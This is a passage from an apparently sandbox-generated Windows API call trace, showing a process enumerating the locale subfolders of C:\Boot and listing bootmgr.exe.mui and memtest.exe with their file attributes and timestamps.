hFindFile=0x61b490, lpFindFileData=0x2edf808 | out: lpFindFileData=0x2edf808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe9e80ea3, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16250, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0044.448] FindClose (in: hFindFile=0x61b490 | out: hFindFile=0x61b490) returned 1 [0044.448] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3610e78 | out: hHeap=0x5c0000) returned 1 [0044.448] FindNextFileW (in: hFindFile=0x60c008, lpFindFileData=0x2edfa84 | out: lpFindFileData=0x2edfa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac087460, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ja-JP", cAlternateFileName="")) returned 1 [0044.448] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xfffe) returned 0x3610e78 [0044.448] FindFirstFileW (in: lpFileName="C:\\Boot\\ja-JP\\*", lpFindFileData=0x2edf808 | out: lpFindFileData=0x2edf808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac087460, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x61b490 [0044.449] FindNextFileW (in: hFindFile=0x61b490, lpFindFileData=0x2edf808 | out: lpFindFileData=0x2edf808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac087460, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0044.449] FindNextFileW (in: hFindFile=0x61b490, lpFindFileData=0x2edf808 | out: lpFindFileData=0x2edf808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8216d3c, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x12a40, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0044.449] FindClose (in: hFindFile=0x61b490 | out: hFindFile=0x61b490) returned 1 [0044.449] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3610e78 | out: hHeap=0x5c0000) returned 1 [0044.449] FindNextFileW (in: hFindFile=0x60c008, lpFindFileData=0x2edfa84 | out: lpFindFileData=0x2edfa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac087460, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ko-KR", cAlternateFileName="")) returned 1 [0044.449] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xfffe) returned 0x3610e78 [0044.450] FindFirstFileW (in: lpFileName="C:\\Boot\\ko-KR\\*", lpFindFileData=0x2edf808 | out: lpFindFileData=0x2edf808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac087460, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x61b490 [0044.451] FindNextFileW (in: hFindFile=0x61b490, lpFindFileData=0x2edf808 | out: lpFindFileData=0x2edf808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac087460, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0044.451] FindNextFileW (in: hFindFile=0x61b490, lpFindFileData=0x2edf808 | out: lpFindFileData=0x2edf808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8510830, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x12650, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0044.451] FindClose (in: hFindFile=0x61b490 | out: hFindFile=0x61b490) returned 1 [0044.451] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3610e78 | out: hHeap=0x5c0000) returned 1 [0044.451] FindNextFileW (in: hFindFile=0x60c008, lpFindFileData=0x2edfa84 | out: lpFindFileData=0x2edfa84*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x8bc7dbfe, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x76980, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe", cAlternateFileName="")) returned 1 [0044.451] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xfffe) returned 0x3610e78 [0044.451] FindFirstFileW (in: lpFileName="C:\\Boot\\nb-NO\\*", lpFindFileData=0x2edf808 | out: lpFindFileData=0x2edf808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x61b490 [0044.452] FindNextFileW (in: hFindFile=0x61b490, lpFindFileData=0x2edf808 | out: lpFindFileData=0x2edf808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0044.452] FindNextFileW (in: hFindFile=0x61b490, lpFindFileData=0x2edf808 | out: lpFindFileData=0x2edf808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xea212efb, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15850, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0044.452] FindClose (in: hFindFile=0x61b490 | out: hFindFile=0x61b490) returned 1 [0044.452] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3610e78 | out: hHeap=0x5c0000) returned 1 [0044.452] FindNextFileW (in: hFindFile=0x60c008, lpFindFileData=0x2edfa84 | out: lpFindFileData=0x2edfa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nl-NL", cAlternateFileName="")) returned 1 [0044.453] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xfffe) returned 0x3610e78 [0044.453] FindFirstFileW (in: lpFileName="C:\\Boot\\nl-NL\\*", lpFindFileData=0x2edf808 | out: lpFindFileData=0x2edf808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x61b490 [0044.454] FindNextFileW (in: hFindFile=0x61b490, lpFindFileData=0x2edf808 | out: lpFindFileData=0x2edf808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0044.454] FindNextFileW (in: hFindFile=0x61b490, lpFindFileData=0x2edf808 | out: lpFindFileData=0x2edf808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe84c457e, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16250, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0044.454] FindClose (in: hFindFile=0x61b490 | out: hFindFile=0x61b490) returned 1 [0044.454] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3610e78 | out: hHeap=0x5c0000) returned 1 [0044.454] FindNextFileW (in: hFindFile=0x60c008, lpFindFileData=0x2edfa84 | out: lpFindFileData=0x2edfa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pl-PL", cAlternateFileName="")) returned 1 [0044.454] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xfffe) returned 0x3610e78 [0044.455] FindFirstFileW (in: lpFileName="C:\\Boot\\pl-PL\\*", lpFindFileData=0x2edf808 | out: lpFindFileData=0x2edf808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x61b490 [0044.455] FindNextFileW (in: hFindFile=0x61b490, lpFindFileData=0x2edf808 | out: lpFindFileData=0x2edf808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0044.455] FindNextFileW (in: hFindFile=0x61b490, lpFindFileData=0x2edf808 | out: lpFindFileData=0x2edf808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe9e5ad4a, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16250, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0044.455] FindClose (in: hFindFile=0x61b490 | out: hFindFile=0x61b490) returned 1 [0044.455] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3610e78 | out: hHeap=0x5c0000) returned 1 [0044.455] FindNextFileW (in: hFindFile=0x60c008, lpFindFileData=0x2edfa84 | out: lpFindFileData=0x2edfa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt-BR", cAlternateFileName="")) returned 1 [0044.456] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xfffe) returned 0x3610e78 [0044.456] FindFirstFileW (in: lpFileName="C:\\Boot\\pt-BR\\*", lpFindFileData=0x2edf808 | out: lpFindFileData=0x2edf808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x61b490 [0044.457] FindNextFileW (in: hFindFile=0x61b490, lpFindFileData=0x2edf808 | out: lpFindFileData=0x2edf808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0044.457] FindNextFileW (in: hFindFile=0x61b490, lpFindFileData=0x2edf808 | out: lpFindFileData=0x2edf808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe83b9c0f, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16040, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0044.457] FindClose (in: hFindFile=0x61b490 | out: hFindFile=0x61b490) returned 1 [0044.457] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3610e78 | out: hHeap=0x5c0000) returned 1 [0044.457] FindNextFileW (in: hFindFile=0x60c008, lpFindFileData=0x2edfa84 | out: lpFindFileData=0x2edfa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt-PT", cAlternateFileName="")) returned 1 [0044.457] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xfffe) returned 0x3610e78 [0044.458] FindFirstFileW (in: lpFileName="C:\\Boot\\pt-PT\\*", lpFindFileData=0x2edf808 | out: lpFindFileData=0x2edf808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x61b490 [0044.458] FindNextFileW (in: hFindFile=0x61b490, lpFindFileData=0x2edf808 | out: lpFindFileData=0x2edf808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0044.458] FindNextFileW (in: hFindFile=0x61b490, lpFindFileData=0x2edf808 | out: lpFindFileData=0x2edf808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe823ce95, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15e40, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0044.458] FindClose (in: hFindFile=0x61b490 | out: hFindFile=0x61b490) returned 1 [0044.459] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3610e78 | out: hHeap=0x5c0000) returned 1 [0044.459] FindNextFileW (in: hFindFile=0x60c008, lpFindFileData=0x2edfa84 | out: lpFindFileData=0x2edfa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ru-RU", cAlternateFileName="")) returned 1 [0044.459] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xfffe) returned 0x3610e78 [0044.459] FindFirstFileW (in: lpFileName="C:\\Boot\\ru-RU\\*", lpFindFileData=0x2edf808 | out: lpFindFileData=0x2edf808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x61b490 [0044.460] FindNextFileW (in: hFindFile=0x61b490, lpFindFileData=0x2edf808 | out: lpFindFileData=0x2edf808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0044.461] FindNextFileW (in: hFindFile=0x61b490, lpFindFileData=0x2edf808 | out: lpFindFileData=0x2edf808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe88a2888, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16050, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0044.461] FindClose (in: hFindFile=0x61b490 | out: hFindFile=0x61b490) returned 1 [0044.461] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3610e78 | out: hHeap=0x5c0000) returned 1 [0044.461] FindNextFileW (in: hFindFile=0x60c008, lpFindFileData=0x2edfa84 | out: lpFindFileData=0x2edfa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sv-SE", cAlternateFileName="")) returned 1 [0044.461] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xfffe) returned 0x3610e78 [0044.461] FindFirstFileW (in: lpFileName="C:\\Boot\\sv-SE\\*", lpFindFileData=0x2edf808 | out: lpFindFileData=0x2edf808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x61b490 [0044.462] FindNextFileW (in: hFindFile=0x61b490, lpFindFileData=0x2edf808 | out: lpFindFileData=0x2edf808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0044.462] FindNextFileW (in: hFindFile=0x61b490, lpFindFileData=0x2edf808 | out: lpFindFileData=0x2edf808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe868d5aa, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15640, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0044.462] FindClose (in: hFindFile=0x61b490 | out: hFindFile=0x61b490) returned 1 [0044.462] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3610e78 | out: hHeap=0x5c0000) returned 1 [0044.462] FindNextFileW (in: hFindFile=0x60c008, lpFindFileData=0x2edfa84 | out: lpFindFileData=0x2edfa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="tr-TR", cAlternateFileName="")) returned 1 [0044.462] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xfffe) returned 0x3610e78 [0044.462] FindFirstFileW (in: lpFileName="C:\\Boot\\tr-TR\\*", lpFindFileData=0x2edf808 | out: lpFindFileData=0x2edf808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x61b490 [0044.464] FindNextFileW (in: hFindFile=0x61b490, lpFindFileData=0x2edf808 | out: lpFindFileData=0x2edf808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0044.464] FindNextFileW (in: hFindFile=0x61b490, lpFindFileData=0x2edf808 | out: lpFindFileData=0x2edf808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8393ab6, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15440, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0044.464] FindClose (in: hFindFile=0x61b490 | out: hFindFile=0x61b490) returned 1 [0044.464] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3610e78 | out: hHeap=0x5c0000) returned 1 [0044.464] FindNextFileW (in: hFindFile=0x60c008, lpFindFileData=0x2edfa84 | out: lpFindFileData=0x2edfa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, 